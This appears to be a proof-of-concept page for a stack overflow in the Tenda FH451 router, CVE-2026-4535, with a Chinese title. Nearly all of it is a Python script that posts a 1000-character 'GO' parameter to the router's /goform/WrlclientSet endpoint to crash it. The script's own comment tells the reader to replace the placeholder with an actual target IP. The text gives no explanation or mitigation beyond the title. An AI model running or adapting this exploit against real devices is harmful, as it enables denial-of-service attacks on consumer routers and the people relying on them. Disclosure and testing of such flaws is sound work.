CVE-2026-4535 Tenda FH451栈溢出漏洞

import requests def check_vulnerability(target_ip): # Target endpoint vulnerable to stack overflow url = f"http://{target_ip}/goform/WrlclientSet" # Payload: A long string to trigger the buffer overflow in the 'GO' parameter # Adjust length based on specific buffer size analysis payload = { "GO": "A" * 1000 } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, data=payload, timeout=5) # If the service crashes or hangs, connection may fail or timeout print("[+] Request sent. Check if the device has crashed or rebooted.") except requests.exceptions.RequestException as e: print(f"[!] Device likely crashed or unreachable: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP check_vulnerability(target)